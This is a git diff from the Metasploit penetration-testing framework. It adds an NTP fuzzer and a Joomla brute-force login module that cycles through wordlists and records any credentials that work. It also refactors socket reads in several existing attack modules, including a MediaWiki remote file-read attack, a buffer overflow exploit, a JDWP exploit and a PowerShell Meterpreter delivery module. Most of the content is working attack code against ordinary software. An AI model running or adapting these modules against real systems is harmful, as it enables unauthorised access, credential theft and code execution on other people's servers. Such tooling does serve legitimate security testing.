||||
fuzz_version_mode(ip, true)
|
||||
fuzz_version_mode(ip, false)
|
||||
fuzz_short(ip)
|
||||
fuzz_random(ip)
|
||||
fuzz_control(ip) if @modes.include?(6)
|
||||
fuzz_private(ip) if @modes.include?(7)
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
# Sends a series of NTP control messages
|
||||
def fuzz_control(host)
|
||||
@versions.each do |version|
|
||||
print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)")
|
||||
@mode_6_operations.each do |op|
|
||||
request = Rex::Proto::NTP.ntp_control(version, op)
|
||||
what = "#{request.size}-byte version #{version} mode 6 op #{op} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of NTP private messages
|
||||
def fuzz_private(host)
|
||||
@versions.each do |version|
|
||||
print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)")
|
||||
@mode_7_implementations.each do |implementation|
|
||||
@mode_7_request_codes.each do |request_code|
|
||||
request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188)
|
||||
what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of small, short datagrams, looking for a reply
|
||||
def fuzz_short(host)
|
||||
print_status("#{host}:#{rport} fuzzing short messages")
|
||||
0.upto(4) do |size|
|
||||
request = SecureRandom.random_bytes(size)
|
||||
what = "short #{request.size}-byte random message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of random, full-sized datagrams, looking for a reply
|
||||
def fuzz_random(host)
|
||||
print_status("#{host}:#{rport} fuzzing random messages")
|
||||
0.upto(5) do
|
||||
# TODO: is there a better way to pick this size? Should more than one be tried?
|
||||
request = SecureRandom.random_bytes(48)
|
||||
what = "random #{request.size}-byte message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
|
||||
# Sends a series of different version + mode combinations
|
||||
def fuzz_version_mode(host, short)
|
||||
print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations")
|
||||
@versions.each do |version|
|
||||
@modes.each do |mode|
|
||||
request = Rex::Proto::NTP::NTPGeneric.new
|
||||
request.version = version
|
||||
request.mode = mode
|
||||
unless short
|
||||
# TODO: is there a better way to pick this size? Should more than one be tried?
|
||||
request.payload = SecureRandom.random_bytes(16)
|
||||
end
|
||||
what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message"
|
||||
vprint_status("#{host}:#{rport} probing with #{what}")
|
||||
responses = probe(host, datastore['RPORT'].to_i, request)
|
||||
handle_responses(host, request, responses, what)
|
||||
Rex.sleep(sleep_time)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Sends +message+ to +host+ on UDP port +port+, returning all replies
|
||||
def probe(host, port, message)
|
||||
replies = []
|
||||
udp_sock.sendto(message, host, port, 0)
|
||||
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
|
||||
while reply && reply[1]
|
||||
replies << reply
|
||||
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
|
||||
end
|
||||
replies
|
||||
end
|
||||
|
||||
def handle_responses(host, request, responses, what)
|
||||
problems = []
|
||||
descriptions = []
|
||||
responses.select! { |r| r[1] }
|
||||
return if responses.empty?
|
||||
responses.each do |response|
|
||||
data = response[0]
|
||||
descriptions << Rex::Proto::NTP.describe(data)
|
||||
problems << 'large response' if request.size < data.size
|
||||
ntp_req = Rex::Proto::NTP::NTPGeneric.new(request)
|
||||
ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data)
|
||||
problems << 'version mismatch' if ntp_req.version != ntp_resp.version
|
||||
end
|
||||
|
||||
problems << 'multiple responses' if responses.size > 1
|
||||
problems.sort!
|
||||
problems.uniq!
|
||||
|
||||
description = descriptions.join(',')
|
||||
if problems.empty?
|
||||
vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}")
|
||||
else
|
||||
print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,279 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Joomla Bruteforce Login Utility',
|
||||
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
|
||||
'Author' => 'luisco100[at]gmail.com',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0502'] # Weak password Joomla
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]),
|
||||
OptPath.new('USER_FILE', [false, 'File containing users, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]),
|
||||
OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),
|
||||
OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),
|
||||
OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),
|
||||
OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),
|
||||
OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),
|
||||
OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([80, 443])
|
||||
end
|
||||
|
||||
def find_auth_uri
|
||||
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
|
||||
paths = [datastore['AUTH_URI']]
|
||||
else
|
||||
paths = %w(
|
||||
/
|
||||
/administrator/
|
||||
)
|
||||
end
|
||||
|
||||
paths.each do |path|
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
next
|
||||
end
|
||||
|
||||
next unless res
|
||||
|
||||
if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/
|
||||
path = res.headers['Location']
|
||||
vprint_status("#{rhost}:#{rport} - Following redirect: #{path}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
next
|
||||
end
|
||||
next unless res
|
||||
end
|
||||
|
||||
return path
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def target_url
|
||||
proto = 'http'
|
||||
if rport == 443 || ssl
|
||||
proto = 'https'
|
||||
end
|
||||
"#{proto}://#{rhost}:#{rport}#{@uri}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
|
||||
@uri = find_auth_uri
|
||||
|
||||
unless @uri
|
||||
vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")
|
||||
return
|
||||
end
|
||||
|
||||
@uri = "/#{@uri}" if @uri[0, 1] != '/'
|
||||
|
||||
vprint_status("#{target_url} - Attempting to login...")
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
|
||||
response = do_web_login(user, pass)
|
||||
result = determine_result(response)
|
||||
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => target_url,
|
||||
:type => 'passsword',
|
||||
:source_type => 'cred',
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
)
|
||||
return :abort if datastore['STOP_ON_SUCCESS']
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{target_url} - Failed to login as '#{user}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def do_web_login(user, pass)
|
||||
user_var = datastore['USER_VARIABLE']
|
||||
pass_var = datastore['PASS_VARIABLE']
|
||||
|
||||
referer_var = "http://#{rhost}/administrator/index.php"
|
||||
|
||||
vprint_status("#{target_url} - Searching Joomla Login Response...")
|
||||
res = login_response
|
||||
|
||||
unless res && res.code = 200 && !res.get_cookies.blank?
|
||||
vprint_error("#{target_url} - Failed to find Joomla Login Response")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("#{target_url} - Searching Joomla Login Form...")
|
||||
hidden_value = get_login_hidden(res)
|
||||
if hidden_value.nil?
|
||||
vprint_error("#{target_url} - Failed to find Joomla Login Form")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("#{target_url} - Searching Joomla Login Cookies...")
|
||||
cookie = get_login_cookie(res)
|
||||
if cookie.blank?
|
||||
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
|
||||
res = send_request_login(
|
||||
'user_var' => user_var,
|
||||
'pass_var' => pass_var,
|
||||
'cookie' => cookie,
|
||||
'referer_var' => referer_var,
|
||||
'user' => user,
|
||||
'pass' => pass,
|
||||
'hidden_value' => hidden_value
|
||||
)
|
||||
|
||||
if res
|
||||
vprint_status("#{target_url} - Login Response #{res.code}")
|
||||
if res.redirect? && res.headers['Location']
|
||||
path = res.headers['Location']
|
||||
vprint_status("#{target_url} - Following redirect to #{path}...")
|
||||
|
||||
res = send_request_raw(
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => "#{cookie}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||
return nil
|
||||
end
|
||||
|
||||
def send_request_login(opts = {})
|
||||
res = send_request_cgi(
|
||||
'uri' => @uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => "#{opts['cookie']}",
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => opts['referer_var']
|
||||
},
|
||||
'vars_post' => {
|
||||
opts['user_var'] => opts['user'],
|
||||
opts['pass_var'] => opts['pass'],
|
||||
'lang' => '',
|
||||
'option' => 'com_login',
|
||||
'task' => 'login',
|
||||
'return' => 'aW5kZXgucGhw',
|
||||
opts['hidden_value'] => 1
|
||||
}
|
||||
)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def determine_result(response)
|
||||
return :abort unless response.kind_of?(Rex::Proto::Http::Response)
|
||||
return :abort unless response.code
|
||||
|
||||
if [200, 301, 302].include?(response.code)
|
||||
if response.to_s.include?(datastore['WORD_ERROR'])
|
||||
return :fail
|
||||
else
|
||||
return :success
|
||||
end
|
||||
end
|
||||
|
||||
:fail
|
||||
end
|
||||
|
||||
def login_response
|
||||
uri = normalize_uri(datastore['FORM_URI'])
|
||||
res = send_request_cgi!('uri' => uri, 'method' => 'GET')
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def get_login_cookie(res)
|
||||
return nil unless res.kind_of?(Rex::Proto::Http::Response)
|
||||
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
def get_login_hidden(res)
|
||||
return nil unless res.kind_of?(Rex::Proto::Http::Response)
|
||||
|
||||
return nil if res.body.blank?
|
||||
|
||||
vprint_status("#{target_url} - Testing Joomla 2.5 Form...")
|
||||
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
|
||||
|
||||
if form.length == 1 # is not Joomla 2.5
|
||||
vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")
|
||||
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
|
||||
end
|
||||
|
||||
if form.length == 1 # is not Joomla 3
|
||||
vprint_error("#{target_url} - Last chance to find a login form...")
|
||||
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
|
||||
end
|
||||
|
||||
begin
|
||||
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
|
||||
input_id = input_hidden[7].split("\"")
|
||||
rescue NoMethodError
|
||||
return nil
|
||||
end
|
||||
|
||||
valor_input_id = input_id[1]
|
||||
|
||||
valor_input_id
|
||||
end
|
||||
|
||||
end
|
|
@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def accessfile(rhost)
|
||||
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
|
||||
vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
|
||||
@wiki_session_name, @wiki_session = get_first_session
|
||||
if @wiki_session.nil?
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
|
||||
print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||
vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||
|
||||
if @user and not @user.empty? and @password and not @password.empty?
|
||||
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
|
||||
vprint_status("#{peer} MediaWiki - Getting login token...")
|
||||
@login_token = get_login_token
|
||||
if @login_token.nil?
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
|
||||
print_error("#{peer} MediaWiki - Failed to get login token")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
|
||||
vprint_status("#{peer} Logintoken: #{@login_token}")
|
||||
|
||||
if not authenticate
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
|
||||
print_error("#{peer} MediaWiki - Failed to authenticate")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
||||
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
||||
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||
vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
||||
vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
||||
vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
|
||||
vprint_status("#{peer} MediaWiki - Getting edit token...")
|
||||
@edit_token = get_edit_token
|
||||
if @edit_token.nil?
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
|
||||
print_error("#{peer} MediaWiki - Failed to get edit token")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
|
||||
vprint_status("#{peer} Edittoken: #{@edit_token}")
|
||||
|
||||
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
|
||||
vprint_status("#{peer} MediaWiki - Uploading SVG file...")
|
||||
@svg_uri = upload_file
|
||||
if @svg_uri.nil?
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
|
||||
print_error("#{peer} MediaWiki - Failed to upload SVG file")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
|
||||
vprint_status("#{peer} SVG URI: #{@svg_uri}")
|
||||
|
||||
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
|
||||
vprint_status("#{peer} MediaWiki - Retrieving remote file...")
|
||||
loot = read_data
|
||||
if loot.nil? or loot.empty?
|
||||
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
|
||||
print_error("#{peer} MediaWiki - Failed to retrieve remote file")
|
||||
return
|
||||
end
|
||||
|
||||
f = ::File.basename(datastore['RFILE'])
|
||||
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
||||
print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
|
||||
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]),
|
||||
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]),
|
||||
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.148.147' ]),
|
||||
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]),
|
||||
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
|
||||
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
|
||||
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
|
@ -60,14 +60,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if datastore['MULTIPORTS']
|
||||
target_ports = [ 80, 1080, 3128, 8080, 8123 ]
|
||||
else
|
||||
target_ports.push(datastore['RPORT'].to_i)
|
||||
end
|
||||
|
||||
target_ports.push(datastore['RPORT'].to_i)
|
||||
|
||||
if datastore['RANDOMIZE_PORTS']
|
||||
target_ports = target_ports.sort_by { rand }
|
||||
end
|
||||
|
||||
target_ports = target_ports.uniq
|
||||
|
||||
site = datastore['SITE']
|
||||
user_agent = datastore['UserAgent']
|
||||
|
||||
|
@ -97,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" +
|
||||
"Host: " + site + "\r\n" +
|
||||
"Connection: close" + "\r\n" +
|
||||
"User-Agent: user_agent" + "\r\n" +
|
||||
"User-Agent: #{user_agent}" + "\r\n" +
|
||||
"Accept-Encoding: *" + "\r\n" +
|
||||
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" +
|
||||
"Cache-Control: no" + "\r\n" +
|
||||
|
@ -115,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
request = write_request('GET',site,user_agent)
|
||||
sock.put(request)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
disconnect
|
||||
|
||||
|
@ -167,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
request = write_request('GET',ripe_address,user_agent)
|
||||
sock.put(request)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
disconnect
|
||||
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# on the response codes. We need to do this between every
|
||||
# port scan attempt unfortunately.
|
||||
while true
|
||||
r = self.sock.get(0.25)
|
||||
r = sock.get_once(-1, 0.25)
|
||||
break if not r or r.empty?
|
||||
end
|
||||
|
||||
|
|
|
@ -234,12 +234,14 @@ class Metasploit4 < Msf::Auxiliary
|
|||
if webmethods
|
||||
webmethods_output = [] # create empty webmethods array
|
||||
webmethods_arr = webmethods.split(",")
|
||||
print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::")
|
||||
webmethods_arr.each do | webm |
|
||||
# Only add webmethods not found in protectedweb_arr
|
||||
webmethods_output << webm if not protectedweb_arr.include?(webm)
|
||||
webmethods_output << webm unless protectedweb_arr && protectedweb_arr.include?(webm)
|
||||
end
|
||||
if webmethods_output
|
||||
print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::")
|
||||
print_status("#{webmethods_output.join(',')}")
|
||||
end
|
||||
print_status("#{webmethods_output.join(',')}") if webmethods_output
|
||||
report_note(:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
|
|
|
@ -47,8 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def send_frame(payload)
|
||||
sock.put(payload)
|
||||
@modbus_counter += 1
|
||||
r = sock.get(sock.def_read_timeout)
|
||||
return r
|
||||
sock.get_once(-1, sock.def_read_timeout)
|
||||
end
|
||||
|
||||
def make_payload(payload)
|
||||
|
@ -65,10 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
payload += [@function_code].pack("c")
|
||||
payload += [datastore['DATA_ADDRESS']].pack("n")
|
||||
payload += [1].pack("n")
|
||||
|
||||
packet_data = make_payload(payload)
|
||||
|
||||
packet_data
|
||||
make_payload(payload)
|
||||
end
|
||||
|
||||
def make_write_coil_payload(data)
|
||||
|
@ -89,9 +85,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
payload += [datastore['DATA_ADDRESS']].pack("n")
|
||||
payload += [data].pack("n")
|
||||
|
||||
packet_data = make_payload(payload)
|
||||
|
||||
packet_data
|
||||
make_payload(payload)
|
||||
end
|
||||
|
||||
def handle_error(response)
|
||||
|
|
|
@ -187,7 +187,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
server_hello = sock.get(response_timeout)
|
||||
server_hello = sock.get_once(-1, response_timeout)
|
||||
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
|
|
|
@ -339,7 +339,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def tls_jabber
|
||||
sock.put(jabber_connect_msg(xmpp_domain))
|
||||
res = sock.get(response_timeout)
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
if res && res.include?('host-unknown')
|
||||
jabber_host = res.match(/ from='([\w.]*)' /)
|
||||
if jabber_host && jabber_host[1]
|
||||
|
@ -347,7 +347,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
establish_connect
|
||||
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
||||
sock.put(jabber_connect_msg(jabber_host[1]))
|
||||
res = sock.get(response_timeout)
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
end
|
||||
end
|
||||
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
|
||||
|
@ -356,14 +356,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
|
||||
sock.put(msg)
|
||||
res = sock.get(response_timeout)
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
return nil if res.nil? || !res.include?('<proceed')
|
||||
res
|
||||
end
|
||||
|
||||
def tls_ftp
|
||||
# http://tools.ietf.org/html/rfc4217
|
||||
res = sock.get(response_timeout)
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
return nil if res.nil?
|
||||
sock.put("AUTH TLS\r\n")
|
||||
res = get_data
|
||||
|
@ -418,7 +418,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
server_hello = sock.get_once(-1, response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
filename.strip!
|
||||
pkt = "\x00\x01" + filename + "\x00" + "netascii" + "\x00"
|
||||
udp_sock.sendto(pkt, ip, datastore['RPORT'])
|
||||
resp = udp_sock.get(1)
|
||||
resp = udp_sock.get(3)
|
||||
if resp and resp.length >= 2 and resp[0, 2] == "\x00\x03"
|
||||
print_status("Found #{filename} on #{ip}")
|
||||
#Add Report
|
||||
|
|
|
@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending GET request with command line payload...")
|
||||
sock.put(req)
|
||||
|
||||
res = sock.get(3,3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if (res =~ /<h5>(.*)<\/h5>/smi)
|
||||
out = $1
|
||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Read command output from socket if cmd/unix/generic payload was used
|
||||
if (datastore['CMD'])
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
print_status(res.to_s) if not res.empty?
|
||||
end
|
||||
|
||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put(connection_request)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
disconnect
|
||||
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
|
||||
# res[8,2] => Reply Type
|
||||
|
@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending Service Connection Request...")
|
||||
sock.put(connection_request)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
|
||||
# res[8,2] => Reply Type
|
||||
# res[15,1] => Connection Status
|
||||
|
@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending Overflow on Keyed Object Login...")
|
||||
sock.put(pkt)
|
||||
sock.get
|
||||
sock.get_once(-1, 10)
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
|
|
@ -63,8 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
connect
|
||||
banner = sock.get_once.to_s.strip
|
||||
|
||||
print_status "Banner: #{banner = sock.gets}"
|
||||
print_status "Banner: #{banner}"
|
||||
|
||||
# NOTE: orig poc shellcode len: 84
|
||||
|
||||
|
|
|
@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Establishes handshake with the server
|
||||
def handshake
|
||||
sock.put(HANDSHAKE)
|
||||
return sock.get(datastore['RESPONSE_TIMEOUT'])
|
||||
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
|
||||
end
|
||||
|
||||
# Forges packet for JDWP protocol
|
||||
|
@ -173,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Reads packet response for JDWP protocol
|
||||
def read_reply(timeout = default_timeout)
|
||||
response = sock.get(timeout)
|
||||
response = sock.get_once(-1, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||
pktlen, id, flags, errcode = response.unpack('NNCn')
|
||||
response.slice!(0..10)
|
||||
|
|
|
@ -59,11 +59,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
|
||||
|
||||
sock.put(buf)
|
||||
banner = sock.get(3,3)
|
||||
banner = sock.get_once
|
||||
|
||||
disconnect
|
||||
|
||||
if (banner and banner =~ /#{sploit}/)
|
||||
if banner.to_s.index(sploit)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
buf << "\n"
|
||||
|
||||
sock.put(buf)
|
||||
res = sock.get(-1,3)
|
||||
res = sock.get_once
|
||||
|
||||
print_status(res.to_s)
|
||||
|
||||
|
|
|
@ -20,13 +20,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
|
||||
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
|
||||
write to disk so it is less likely to trigger AV solutions and will allow privilege
|
||||
escalations supplied by Meterpreter.
|
||||
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
|
||||
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
|
||||
x86 payloads on x64 machines.
|
